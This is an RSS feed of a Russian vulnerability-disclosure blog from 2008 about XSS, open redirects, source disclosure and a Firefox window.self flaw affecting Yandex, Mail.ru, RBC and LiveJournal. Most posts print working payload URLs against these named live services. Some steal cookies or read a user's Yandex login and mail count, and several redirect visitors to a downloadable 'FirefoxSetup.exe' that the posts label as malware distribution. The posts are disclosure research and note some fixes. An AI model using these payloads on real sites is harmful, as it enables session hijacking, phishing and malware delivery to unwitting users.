<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Fuzzing-&#62;{Web}-&#62;Ru</title>
	<link>http://fuzzing.ru/blog</link>
	<description>Don`t Learn to Hack - Hack to Learn</description>
	<pubDate>Mon, 11 Jul 2011 10:55:29 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.2</generator>
	<language>en</language>
			<item>
		<title>Уязвимости баннерных сетей (Яндекс, Mail.ru, РБК)</title>
		<link>http://fuzzing.ru/blog/2008/11/18/uyazvimosti-bannernyx-setej-yandeks-mailru-rbk/</link>
		<comments>http://fuzzing.ru/blog/2008/11/18/uyazvimosti-bannernyx-setej-yandeks-mailru-rbk/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 13:10:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/11/18/uyazvimosti-bannernyx-setej-yandeks-mailru-rbk-i-drugix/</guid>
		<description><![CDATA[Речь в данном посте пойдет про внутренние системы рекламы (ротации баннеров).
Проще говоря уязвимость представляет из себя XSS-атаку выполняемую через распространенную технику сбора статистики показов и переходов для flash-баннеров.
Общепринятым для подобных систем является использование совершенно примитивной конструкции, причем (в том числе широкоизвестные рекламные агентства, но они нам в данном контексте неинтересны) её упоминают в требованиях к баннерам. Вот эта [...]]]></description>
			<content:encoded><![CDATA[<p>Речь в данном посте пойдет про внутренние системы рекламы (ротации баннеров).</p>
<p>Проще говоря уязвимость представляет из себя XSS-атаку выполняемую через распространенную технику сбора статистики показов и переходов для flash-баннеров.</p>
<p>Общепринятым для подобных систем является использование совершенно примитивной конструкции, причем (в том числе широкоизвестные рекламные агентства, но они нам в данном контексте неинтересны) её упоминают в требованиях к баннерам. Вот эта конструкция.</p>
<p>on(release) {<br />
getURL(SOME_GET_PARAM,&#8221;_blank&#8221;);<br />
}</p>
<p>Конструкция абсолютно безграмотна и небезопасна, однако, как я уже говорил распространена повсеместно.</p>
<p>Приведу примеры в качестве ссылок, а в конце приводится работающий пример получения персональных данных с сервиса.</p>
<p><strong><span style="color: #800000">Примеры для браузеров на движке Gecko: линейка Mozilla, линейка Mozilla Firefox, линейка Netscape (Browser, Navigator). Flash выше 9 версии, однако должен работать и на более ранних.</span></strong></p>
<p><strong><span style="color: #ff6600"><span style="color: #000000">Яндекс</span></span></strong> - <a href="http://yabs.yandex.ru/resource/34JEDs^kmm4SLmWmrfuVLA.swf?link1=javascript:alert(document.cookie)" target="_blank">http://yabs.yandex.ru/resou &#8230; rfuVLA.swf?link1=javascript:alert(document.cookie)</a></p>
<p><span style="color: #000000"><span style="color: #008000"><strong><span style="color: #000000">РБК</span></strong></span> </span>- <a href="http://pics.rbc.ru/7e1/91jx/y/ba/6/ebhcfgygesv/fjcdgbutxicc/-90.swf?link1=javascript:alert(document.cookie)" target="_blank">http://pics.rbc.ru/7e1/91 &#8230; 90.swf?link1=javascript:alert(document.cookie)</a></p>
<p><span style="color: #333399"><strong><span style="color: #000000">Mail.ru</span></strong></span> - <a href="http://r1.mail.ru/b6108418.swf?rb_link=javascript:alert(document.cookie)" target="_blank">http://r1.mail.ru/b6108418.swf?rb_link=javascript:alert(document.cookie)</a></p>
<p>Итак, работающий пример. Пример, удобнее всего привести используя баннер из сети Яндекса. На странице будет отображен логин на Яндексе и количество новых писем в почтовом ящике. <strong>Предварительно необходимо авторизоваться на Яндексе.</strong></p>
<h5>Персональные данные отобразятся в браузере и никуда передаваться не будут</h5>
<p><iframe src="http://yabs.yandex.ru/resource/34JEDs%5Ekmm4SLmWmrfuVLA.swf?link1=javascript:document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%78%70%6F%72%74%2E%79%61%6E%64%65%78%2E%72%75%2F%63%6F%75%6E%74%65%72%73%2D%6A%73%2E%78%6D%6C%3F%73%65%72%76%69%63%65%73%3D%61%6C%6C%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%22%3C%68%31%3E%D0%9F%D0%B5%D1%80%D1%81%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D1%81%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D1%8F%20%D1%81%20%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B0%20%2A%2E%79%61%6E%64%65%78%2E%72%75%3C%2F%68%31%3E%3C%62%3E%D0%9B%D0%BE%D0%B3%D0%B8%D0%BD%3C%2F%62%3E%20%2D%20%22%2B%69%6E%62%6F%78%43%6F%75%6E%74%65%72%73%5B%22%6C%6F%67%69%6E%22%5D%2B%22%3C%42%52%3E%22%2B%22%3C%62%3E%D0%9D%D0%BE%D0%B2%D1%8B%D1%85%20%D0%BF%D0%B8%D1%81%D0%B5%D0%BC%3C%2F%62%3E%20%2D%20%22%2B%69%6E%62%6F%78%43%6F%75%6E%74%65%72%73%5B%22%73%65%72%76%69%63%65%73%22%5D%5B%22%6D%61%69%6C%22%5D%5B%22%63%6F%75%6E%74%22%5D%2B%22%3C%62%72%3E%3C%62%72%3E%22%2B%22%D0%9C%D0%B0%D1%81%D1%81%D0%B8%D0%B2%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%73%20%D0%B4%D0%BB%D1%8F%20%D0%BF%D0%B5%D1%80%D0%B5%D1%85%D0%B2%D0%B0%D1%82%D0%B0%20%D1%81%D0%B5%D1%81%D1%81%D0%B8%D0%B8%20%28%68%74%74%70%4F%6E%6C%79%2C%20%D0%B2%D1%80%D0%BE%D0%B4%D0%B5%2C%20%D0%BD%D0%B5%20%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D1%82%D1%81%D1%8F%29%3C%62%72%3E%3C%62%72%3E%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E'));" frameborder="0" height="90" width="628"></iframe></p>
<p><strong><span style="color: #993300">Update:</span> Яндекс исправил уязвимость на уровне сервера.</strong></p>
<p><span style="color: #993300"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/11/18/uyazvimosti-bannernyx-setej-yandeks-mailru-rbk/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Persistent Cross Site Scripting - livejournal.com</title>
		<link>http://fuzzing.ru/blog/2008/11/13/persistent-cross-site-scripting-bloggercom-livejournalcom/</link>
		<comments>http://fuzzing.ru/blog/2008/11/13/persistent-cross-site-scripting-bloggercom-livejournalcom/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 18:24:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/11/13/persistent-cross-site-scripting-bloggercom-livejournalcom/</guid>
		<description><![CDATA[ Ранее сообщалось о проблемах у ведущих блогхостингов. Небольшие детали.
Livejournal.com  
Приложение: /editjournal.bml, /update.bml
Пример приведу на сей раз на скриншоте

]]></description>
			<content:encoded><![CDATA[<p> Ранее сообщалось о проблемах у ведущих блогхостингов. Небольшие детали.</p>
<h3>Livejournal.com  <img src="http://fuzzing.ru/blog/wp-content/uploads/2008/11/lj.jpg" alt="livejournal.com" align="middle" height="59" width="251" /></h3>
<p><strong>Приложение:</strong> /editjournal.bml, /update.bml</p>
<p>Пример приведу на сей раз на скриншоте<br />
<img src="http://fuzzing.ru/blog/wp-content/uploads/2008/11/ljexample_.jpg" alt="Пример на livejournal.com" height="284" width="500" /></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/11/13/persistent-cross-site-scripting-bloggercom-livejournalcom/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Серьезная уязвимость в Mozilla Firefox 3.0.3 Gecko/20080201</title>
		<link>http://fuzzing.ru/blog/2008/11/12/sereznaya-uyazvimost-v-mozilla-firefox-303-gecko20080201/</link>
		<comments>http://fuzzing.ru/blog/2008/11/12/sereznaya-uyazvimost-v-mozilla-firefox-303-gecko20080201/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 12:36:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/11/12/sereznaya-uyazvimost-v-mozilla-firefox-303-gecko20080201/</guid>
		<description><![CDATA[ 
Сразу оговорюсь, что указанная версия по сообщениям самого браузера является актуальной и обновлений для неё нет. Поэтому, как минимум для неё, информация актуальна. 
Описание: Браузер данной версии позволяет выполнять следующую операцию.
window.self = window.top;
В итоге это может привести к подделке структуры окон при использовании фреймов. Т.е. используя тот факт что свойство window.self работает не только как getter, но и как setter [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" width="192" src="http://fuzzing.ru/blog/wp-content/uploads/2008/11/firefox-wordmark-vertical.jpg" alt="firefox-wordmark-vertical.jpg" height="244" /> </p>
<p>Сразу оговорюсь, что указанная версия по сообщениям самого браузера является актуальной и обновлений для неё нет. Поэтому, как минимум для неё, информация актуальна. </p>
<p><strong><span style="color: #000000">Описание:</span></strong> Браузер данной версии позволяет выполнять следующую операцию.</p>
<p><strong><span style="color: #993300">window.self = window.top;</span></strong></p>
<p>В итоге это может привести к подделке структуры окон при использовании фреймов. Т.е. используя тот факт что свойство window.self работает не только как getter, но и как setter мы можем сделать, например, iframe главным окном и выполнить его содержимое в контексте того, что он является top-окном. В некоторых случаях это чрезвычайно критично.</p>
<p><em>Firefox более ранних версий, а также все версии Opera, Internet Explorer подобного не поддерживают и сообщают о соотвествующем исключении при выполнении данного действия.</em></p>
<p><strong>Пример - <a href="http://fuzzing.ru/blog/files/ff.iframe/ciframe.html">http://fuzzing.ru/blog/files/ff.iframe/ciframe.html</a> </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/11/12/sereznaya-uyazvimost-v-mozilla-firefox-303-gecko20080201/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Масштабные проблемы у ведущих блогхостингов и почтовых систем.</title>
		<link>http://fuzzing.ru/blog/2008/11/12/masshtabnye-problemy-vedushhix-blogxostingov-i-pochtovyx-sistem/</link>
		<comments>http://fuzzing.ru/blog/2008/11/12/masshtabnye-problemy-vedushhix-blogxostingov-i-pochtovyx-sistem/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 10:22:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/11/12/masshtabnye-problemy-vedushhix-blogxostingov-i-pochtovyx-sistem/</guid>
		<description><![CDATA[Уязвимости подвержены множество самых популярных систем ведения блогов и некоторые почтовые системы.

Тип уязвимости: Межсайтовое выполнение сценариев (Persistent Cross Site Scripting). Недостаточная фильтрация содержимого.
Приложение: Формы обработки записей и комментариев, как правило.

Ввиду чрезвычайно высокого масштаба данной уязвимости и очень опасных последствий её эксплуатации названия конкретных сервисов и конкретные способы эксплуатации я опускаю. Упомяну лишь, что в контексте [...]]]></description>
			<content:encoded><![CDATA[<p>Уязвимости подвержены множество самых популярных систем ведения блогов и некоторые почтовые системы.</p>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Persistent Cross Site Scripting). Недостаточная фильтрация содержимого.<br />
<strong>Приложение:</strong> Формы обработки записей и комментариев, как правило.</li>
</ul>
<p><strong>Ввиду чрезвычайно высокого масштаба данной уязвимости и очень опасных последствий её эксплуатации названия конкретных сервисов и конкретные способы эксплуатации я опускаю.</strong> Упомяну лишь, что в контексте блогхостинга это такие вещи как <em>добавление посетителю в друзья произвольного пользователя</em>, <em>распространение зловредного ПО посетителям как блогов злоумышленников так и блогов популярных пользователей. </em>Варианты и детали реализации способов эксплуатации могут быть различными и зависеть от особенностей конкретной системы.</p>
<p><strong>Причины возникновения:</strong> Стандарт W3C предусматривает (и что самое удивительное поддерживают все основные браузеры) поддержку загрузки в элементе &lt;OBJECT&gt; содержимого очень разных типов, в том числе, таких в которых модулем обработки содержимого будет не специальный плагин, а базовые модули браузера.</p>
<p>К примеру, в данном элементе возможна загрузка и полноценный рендеринг содержимого с типом text/html.</p>
<p><code>&lt;object height="0" width="0" type="text/html" data="http://fuzzing.ru/blog/"&gt;&lt;/object&gt;</code></p>
<p><span style="color: #800000"><strong>Информация приведенная в данном сообщении опубликована в исследовательских целях и преследует только одну итоговую цель - массовое исправление данной проблемы вендорами. Автор не несет ответственности за использование данной информацции в корыстных целях третьими лицами.</strong></span></p>
<p><span style="color: #800000"><strong>Вендоры за деталями могут обращаться по почте <a href="mailto:site@fuzzing.ru">site@fuzzing.ru</a>. К сожалению, уязвимых систем крайне много.</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/11/12/masshtabnye-problemy-vedushhix-blogxostingov-i-pochtovyx-sistem/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Вновь об уязвимостях проектов РосБизнесКонсалтинга</title>
		<link>http://fuzzing.ru/blog/2008/10/29/vnov-ob-uyazvimostyax-proektov-rosbizneskonsaltinga/</link>
		<comments>http://fuzzing.ru/blog/2008/10/29/vnov-ob-uyazvimostyax-proektov-rosbizneskonsaltinga/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 23:02:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/10/29/vnov-ob-uyazvimostyax-proektov-rosbizneskonsaltinga/</guid>
		<description><![CDATA[Обновление: новые примеры, предыдущие исправлены.
Берем первый попав?ийся мне вариант, где файл отдает некий скрипт (прямой редирект на файл вроде исправили).
http://www.rbc.ru/bredir/?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31
http://banner.rbc.ru/banredir.cgi?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31
Встретить в сети нормально организованный скриптовый редирект очень непросто, подавляющее боль?инство представляют из себя серьезную уязвимость.

Тип уязвимости: Переадресация URL.
Приложение: http://www.rbc.ru/bredir/, http://banner.rbc.ru/banredir.cgi, http://www.rbc.ru/3e/9jjjgygaf/click
GET-переменные: code

Примеры: 
http://www.rbc.ru/bredir/?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65
http://banner.rbc.ru/banredir.cgi?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65
http://www.rbc.ru/3e/9jjjgygaf/click?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65

Тип уязвимости: ?ндексирование директорий (Directory Indexing), как следствие -&#62; Раскрытие исходного кода (Source code [...]]]></description>
			<content:encoded><![CDATA[<h3>Обновление: новые примеры, предыдущие исправлены.</h3>
<p>Берем первый попав?ийся мне вариант, где файл отдает некий скрипт (прямой редирект на файл вроде исправили).</p>
<p><a href="http://www.rbc.ru/bredir/?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31"><strong>http://www.rbc.ru/bredir/?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31</strong></a></p>
<p><a href="http://banner.rbc.ru/banredir.cgi?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31"><strong>http://banner.rbc.ru/banredir.cgi?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31</strong></a></p>
<hr />Встретить в сети нормально организованный скриптовый редирект очень непросто, подавляющее боль?инство представляют из себя серьезную уязвимость.</p>
<ul>
<li><strong>Тип уязвимости:</strong> Переадресация URL.<br />
<strong>Приложение:</strong> http://www.rbc.ru/bredir/, http://banner.rbc.ru/banredir.cgi, http://www.rbc.ru/3e/9jjjgygaf/click<br />
<strong>GET-переменные:</strong> code</li>
</ul>
<p><strong>Примеры: </strong></p>
<p><strong><a href="http://www.rbc.ru/bredir/?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65">http://www.rbc.ru/bredir/?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65</a></strong></p>
<p><a href="http://banner.rbc.ru/banredir.cgi?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65"><strong>http://banner.rbc.ru/banredir.cgi?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65</strong></a></p>
<p><a href="http://www.rbc.ru/3e/9jjjgygaf/click?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65"><strong>http://www.rbc.ru/3e/9jjjgygaf/click?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65</strong></a></p>
<ul>
<li><strong>Тип уязвимости:</strong> ?ндексирование директорий (Directory Indexing), как следствие -&gt; Раскрытие исходного кода (Source code disclosure)</li>
</ul>
<p> <strong>Путь: <a target="_blank" href="http://banner.rbc.ru/banredir.cgi~">http://banner.rbc.ru/banredir.cgi~</a></strong></p>
<p><strong>Комментарий: </strong><span style="color: #800000">Часть кода работает именно так как описано в скрипте, однако есть все же подозрение, что он немного неактуальный. Судя по коду, очевидно, есть скрытое внедрение  SQL-операторов (Blind SQL-injection) ну и много другой полезной информации.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/10/29/vnov-ob-uyazvimostyax-proektov-rosbizneskonsaltinga/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Множественные уязвимости проектов РосБизнесКонсалтинга</title>
		<link>http://fuzzing.ru/blog/2008/10/22/mnozhestvennye-uyazvimosti-proektov-rosbizneskonsaltinga/</link>
		<comments>http://fuzzing.ru/blog/2008/10/22/mnozhestvennye-uyazvimosti-proektov-rosbizneskonsaltinga/#comments</comments>
		<pubDate>Wed, 22 Oct 2008 05:29:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/10/22/mnozhestvennye-uyazvimosti-proektov-rosbizneskonsaltinga/</guid>
		<description><![CDATA[

Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /
GET-переменные: нет

Примечание: Уязвимость вызвана отсутствием фильтрации (или кодирования) исходного URL. Работает только во всех версиях Internet Explorer.
Возможные области применения (приведены простые примеры):

Распространение вредоносного ПО - http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=&#34;&#62;test&#60;/a&#62;&#60;script&#62;document.location.replace(&#8217;http://fuzzing.ru/%62%6C%6F%67/%66%69%6C%65%73/FirefoxSetup.exe&#8217;);&#60;/script&#62;
Подмена содержимого страницы - http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=&#34;&#62;test&#60;/a&#62;&#60;script&#62;document.body.innerHTML=&#8217;&#60;h1&#62;Fuzzing.ru&#8217;&#60;/script&#62;

 Приведенные примеры очень грубые. Без сомнений можно полагать, что качественная эксплуатация данных уязвимостей является [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://fuzzing.ru/blog/wp-content/uploads/2008/10/rbc_logo_top_test.gif" alt="РБК" /></p>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> /<br />
<strong>GET-переменные: нет</strong></li>
</ul>
<p><strong>Примечание:</strong> Уязвимость вызвана отсутствием фильтрации (или кодирования) исходного URL. <span style="color: #800000"><strong>Работает только во всех версиях Internet Explorer.</strong></span></p>
<p><strong><span style="color: #800000">Возможные области применения (приведены простые примеры):</span></strong></p>
<ul>
<li><strong><span style="color: #000000">Распространение вредоносного ПО - <a target="_blank" href="http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=&quot;&gt;test&lt;/a&gt;&lt;script&gt;document.location.replace('http://fuzzing.ru/%62%6C%6F%67/%66%69%6C%65%73/FirefoxSetup.exe');&lt;/script&gt;">http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=&quot;&gt;test&lt;/a&gt;&lt;script&gt;document.location.replace(&#8217;http://fuzzing.ru/%62%6C%6F%67/%66%69%6C%65%73/FirefoxSetup.exe&#8217;);&lt;/script&gt;</a></span></strong></li>
<li><strong><span style="color: #000000">Подмена содержимого страницы - <a target="_blank" href="http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=&quot;&gt;test&lt;/a&gt;&lt;script&gt;document.body.innerHTML='&lt;h1&gt;Fuzzing.ru'&lt;/script&gt;">http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=&quot;&gt;test&lt;/a&gt;&lt;script&gt;document.body.innerHTML=&#8217;&lt;h1&gt;Fuzzing.ru&#8217;&lt;/script&gt;</a></span></strong></li>
</ul>
<p><span style="color: #000000"><strong> </strong>Приведенные примеры очень грубые. Без сомнений можно полагать, что качественная эксплуатация данных уязвимостей является делом техники.</span></p>
<ul>
<li><span style="color: #000000"><strong>Тип уязвимости: Переадресация URL.<br />
Приложение:</strong> http://redir.rbc.ru/cgi-bin/redirect.cgi<br />
<strong>GET-переменные:</strong> нет</span></li>
</ul>
<p><strong><span style="color: #800000">Возможные области применения (приведены простые примеры):</span></strong></p>
<ul>
<li><strong>Распространение вредоносного ПО - <a href="http://redir.rbc.ru/cgi-bin/redirect.cgi?http://%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65">http://redir.rbc.ru/cgi-bin/redirect.cgi?http://%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65</a></strong></li>
</ul>
<p>Ну и напоследок, не очень практичная, но тем не менее полноценная&#8230;</p>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) - DOM based. Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> /<br />
<strong>GET-переменные: </strong>нет</li>
</ul>
<p>Причины те же что и у описанной вы?е XSS-уязвимости, но немного другой механизм срабатывания.</p>
<p><strong>Пример: <a target="_blank" href="http://top.rbc.ru/incidents/22/10/2008/254898.shtml?');alert(document.cookie);encodeURIComponent('">http://top.rbc.ru/incidents/22/10/2008/254898.shtml?&#8217;);alert(document.cookie);encodeURIComponent(&#8217;</a></strong></p>
<p>Механизм срабатывания ограничен событием в которое упаковано внедренное содержимое (onclick по ссылке добавления в закладки текущей статьи), либо событием которое можно добавить элементу при внедрении. Однако элемент &lt;a&gt; событий которые можно создать без действий пользователя (к примеру, onload, onerrror) не имеет. Поэтому для просмотра результата надо кликнуть по ссылке добавления &#8220;в мемориз&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/10/22/mnozhestvennye-uyazvimosti-proektov-rosbizneskonsaltinga/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Обновление :: Исправление уязвимостей suggest.yandex.ru</title>
		<link>http://fuzzing.ru/blog/2008/10/20/obnovlenie-ispravlenie-uyazvimostej-suggestyandexru/</link>
		<comments>http://fuzzing.ru/blog/2008/10/20/obnovlenie-ispravlenie-uyazvimostej-suggestyandexru/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 07:03:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/10/20/obnovlenie-ispravlenie-uyazvimostej-suggestyandexru/</guid>
		<description><![CDATA[По факту исправлений понятно, что исправлено лишь расщепление HTTP-запроса. Все остальное работает несколько в другом виде.

http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html∂=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3E%3C%2F%62%6F%64%79%3E
http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html∂=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%62%6F%64%79%3E
http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html∂=%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%27%72%65%66%72%65%73%68%27%20%63%6F%6E%74%65%6E%74%3D%27%30%3B%75%72%6C%3D%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%6D%65%74%61%3E

По другим примерам аналог находится чуть более сложно.
]]></description>
			<content:encoded><![CDATA[<p>По факту исправлений понятно, что исправлено лишь расщепление HTTP-запроса. Все остальное работает несколько в другом виде.</p>
<ul>
<li><a href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&amp;part=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3E%3C%2F%62%6F%64%79%3E" target="_blank"><strong>http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html∂=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3E%3C%2F%62%6F%64%79%3E</strong></a></li>
<li><strong><a href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&amp;part=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%62%6F%64%79%3E" target="_blank">http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html∂=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%62%6F%64%79%3E</a></strong></li>
